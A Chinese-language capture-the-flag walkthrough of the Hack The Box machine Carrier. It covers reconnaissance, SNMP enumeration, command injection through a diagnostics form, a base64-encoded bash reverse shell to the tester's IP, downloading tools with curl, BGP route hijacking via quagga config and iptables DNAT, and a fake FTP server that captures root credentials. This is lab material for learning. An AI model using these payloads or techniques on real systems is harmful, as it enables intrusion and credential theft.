【HTB靶场系列】靶机Carrier的渗透测试

Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台。它能帮助你提升渗透测试技能和黑盒测试技能,它包含了一些不断更新的挑战,其中有模拟真实世界场景,也有倾向于CTF风格的挑战。

https://www.hackthebox.eu/

【HTB靶场系列】靶机Carrier的渗透测试

平台上有很多靶机,从易到难,黑客每入侵一台机器都会获得相应积分,通过积分排名设有名人堂。今天要实验的是靶机Carrier。

【HTB靶场系列】靶机Carrier的渗透测试1

目标靶机IP:10.10.10.105

本机IP:10.10.13.133

首先利用Nmap对目标靶机进行信息收集

nmap -sC -F -sV 10.10.10.105
-sC:通过默认脚本进行扫描

-sV:扫描目标主机端口上运行软件的版本

-F:扫描100个最有可能开放的端口

【HTB靶场系列】靶机Carrier的渗透测试2

显示靶机开放了21,22,80,3306端口,但是21,3306端口被过滤了。22端口是SSH需要登陆,我们先从80端口开始看看能不能得到有用的信息

先打开网页,是一个登陆页面,有2个Error提示45007,45009,去Google查询类似的关键词发现没有什么可用信息,应该是自定义的WEB框架,

【HTB靶场系列】靶机Carrier的渗透测试3

我们用gobuster来进行目录爆破

1. gobuster  -u http://10.10.10.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -q

【HTB靶场系列】靶机Carrier的渗透测试4

先看下tools

/tools:

【HTB靶场系列】靶机Carrier的渗透测试5

点进去显示“许可过期,正在退出”

看下doc

/doc:

【HTB靶场系列】靶机Carrier的渗透测试6

【HTB靶场系列】靶机Carrier的渗透测试7

【HTB靶场系列】靶机Carrier的渗透测试8

一个网络架构图还有一个是错误代码描述的PDF,根据刚刚网页提示的错误代码我们查下对应的解释

Error 4005:守护进程没有响应

Error 4009:配置中没有设置默认的用户名和密码(查看机箱序列号)

看下

/debug

【HTB靶场系列】靶机Carrier的渗透测试9

没有什么特别有用的信息

根据那种图可能还有别的设备,这样我想起了snmp服务

所以我们扫下靶机UDP的端口看看有没有什么有用的信息

1. nmap -sU 10.10.10.105

【HTB靶场系列】靶机Carrier的渗透测试10

果然目标机器是有开启snmp,那么我们用snmpwalk来进行弱口令利用

1. snmpwalk -v 1 -c public 10.10.10.105

【HTB靶场系列】靶机Carrier的渗透测试11

这个NET_45JDX23可能就是所谓的序列号

我们回到登陆进行登陆。

Username:尝试常见的默认用户名:admin, root…..

Password: NET_45JDX23

【HTB靶场系列】靶机Carrier的渗透测试12

页面显示我们的凭证是无效的

【HTB靶场系列】靶机Carrier的渗透测试13

我们进入Tickets

【HTB靶场系列】靶机Carrier的渗透测试14

通过这条信息 我们知道了3个网段(大概就是刚刚那个网络架构图),还有一个FTP:10.120.15.0/24

然后我们在点Diagnosticd,提示我们凭证无效,但是可以使用检查功能
点下Verify status

【HTB靶场系列】靶机Carrier的渗透测试15

这个部分很像是远程命令执行。

我们用BURP抓包看下信息

【HTB靶场系列】靶机Carrier的渗透测试16

【HTB靶场系列】靶机Carrier的渗透测试17

很明显这个quagga就是上面输出信息的一部分,查找相关资料,发现这是一款路由器软件

【HTB靶场系列】靶机Carrier的渗透测试18

【HTB靶场系列】靶机Carrier的渗透测试19

【HTB靶场系列】靶机Carrier的渗透测试20

返回信息如下

【HTB靶场系列】靶机Carrier的渗透测试21

那么我们在试着输入 root;echo hello

【HTB靶场系列】靶机Carrier的渗透测试22

【HTB靶场系列】靶机Carrier的渗透测试23

如图发现我们是可以用;进行多语句的执行,那么我们用bash反弹一个shell
现在用kali监听下9001

【HTB靶场系列】靶机Carrier的渗透测试24

然后转换下编码

【HTB靶场系列】靶机Carrier的渗透测试25

这里输出cm9vdDtiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjEzLjEzMy85MDAxIDA+JjE=

【HTB靶场系列】靶机Carrier的渗透测试26

这样我们就得到一个shell了

【HTB靶场系列】靶机Carrier的渗透测试27

这样我们就可以得到user的flag了

【HTB靶场系列】靶机Carrier的渗透测试28

接下来就是获得根ROOT的权限

从之前的信息我们了解到有一台FTP服务器:10.120.15.0/24

我们试着ping 10.120.15.1看看能不能ping通

【HTB靶场系列】靶机Carrier的渗透测试29

我们需要在靶机上进行扫描,当然你可以用msf添加路由的方式扫描,这里我用另一个种方法把nmap的二进制静态执行文件上传到靶机进行扫描

Github:https://github.com/andrew-d/static-binaries

【HTB靶场系列】靶机Carrier的渗透测试30
然后我们用python的SimpleHTTPServer模块建立服务然后靶机去下载这个文件

【HTB靶场系列】靶机Carrier的渗透测试31

然后再靶机分别输入如下命令

1. curl http://10.10.13.133:8000/nmap -o nmap
2. chmod +x nmap

【HTB靶场系列】靶机Carrier的渗透测试32

然后我们执行

1. ./nmap -p 21 10.120.15.0/24

【HTB靶场系列】靶机Carrier的渗透测试33

发现没有探测到,可能是目标禁止ICMP数据包

那么我们加个-Pn参数,同时把结果导出

./nmap -Pn -vvv -p 21 10.120.15.0/24 –open

-Pn:不进行ping直接扫描

-vvv:显示详细过程

–open:只显示端口open状态信息

【HTB靶场系列】靶机Carrier的渗透测试34

我们发现 10.120.15.10是开放21端口的

然后我们尝试下FTP匿名登陆,登陆的时候可能不会有回显,需要自己打

【HTB靶场系列】靶机Carrier的渗透测试35

无法执行,之前那个ticks也说这个FTP出现了问题。

【HTB靶场系列】靶机Carrier的渗透测试36

我们需要通过劫持BGP欺骗AS200将数据传输给我们的靶机,然后开启假的FTP服务,之前的信息有显示到有人会定期访问这个FTP,这样我们就可以窃取到凭证

【HTB靶场系列】靶机Carrier的渗透测试37

【HTB靶场系列】靶机Carrier的渗透测试38

现在的情况大概就是图上这个样子

我们在终端分别输入

1. vtysh  (quagga的命令)
2. configure terminal(进入配置模式)
3. do show run (显示配置信息)

【HTB靶场系列】靶机Carrier的渗透测试39
我们需要增加一个network就是把刚刚FTP的那个网段加进来

这里我直接编辑/etc/ quagga下的bgpd.conf文件内容也就上面显示的内容

【HTB靶场系列】靶机Carrier的渗透测试40

我们在自己的kali上编辑下内容在里面加一条10.120.15.0/25

【HTB靶场系列】靶机Carrier的渗透测试41

然后用python的SimpleHTTPServer服务上传到靶机里面去跟nmap一样
把之前的文件重命名,然后把我们的文件下载下来

1. curl http://10.10.13.133:8000/bgpd.conf -o bgpd.con

【HTB靶场系列】靶机Carrier的渗透测试42

然后在iptales上添加记录并重启quagga服务

1. iptables -t nat -A PREROUTING -p tcp --dport 21 -j DNAT --to-destination 10.10.14.65:21
2. iptables -t nat -A POSTROUTING -j MASQUERADE 
3. service quagga restart

然后我们在下载一个假的ftp监听21端口来得到凭证
Github:https://github.com/b1ngda0/FtpServicePython/

【HTB靶场系列】靶机Carrier的渗透测试43

不久后就能得到账号密码

root:BGPtelc0rout1ng

然后ssh登陆并得到root flag

【HTB靶场系列】靶机Carrier的渗透测试44

【HTB靶场系列】靶机Carrier的渗透测试45

作者:是大方子

MS08067实验室官网:www.ms08067.com

公众号:” Ms08067安全实验室”

Ms08067安全实验室目前开放知识星球: WEB安全攻防,内网安全攻防,Python安全攻防,KALI Linux安全攻防,二进制逆向入门

最后期待各位小伙伴的加入!

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
大佬不来一句? 抢沙发

请登录后发表评论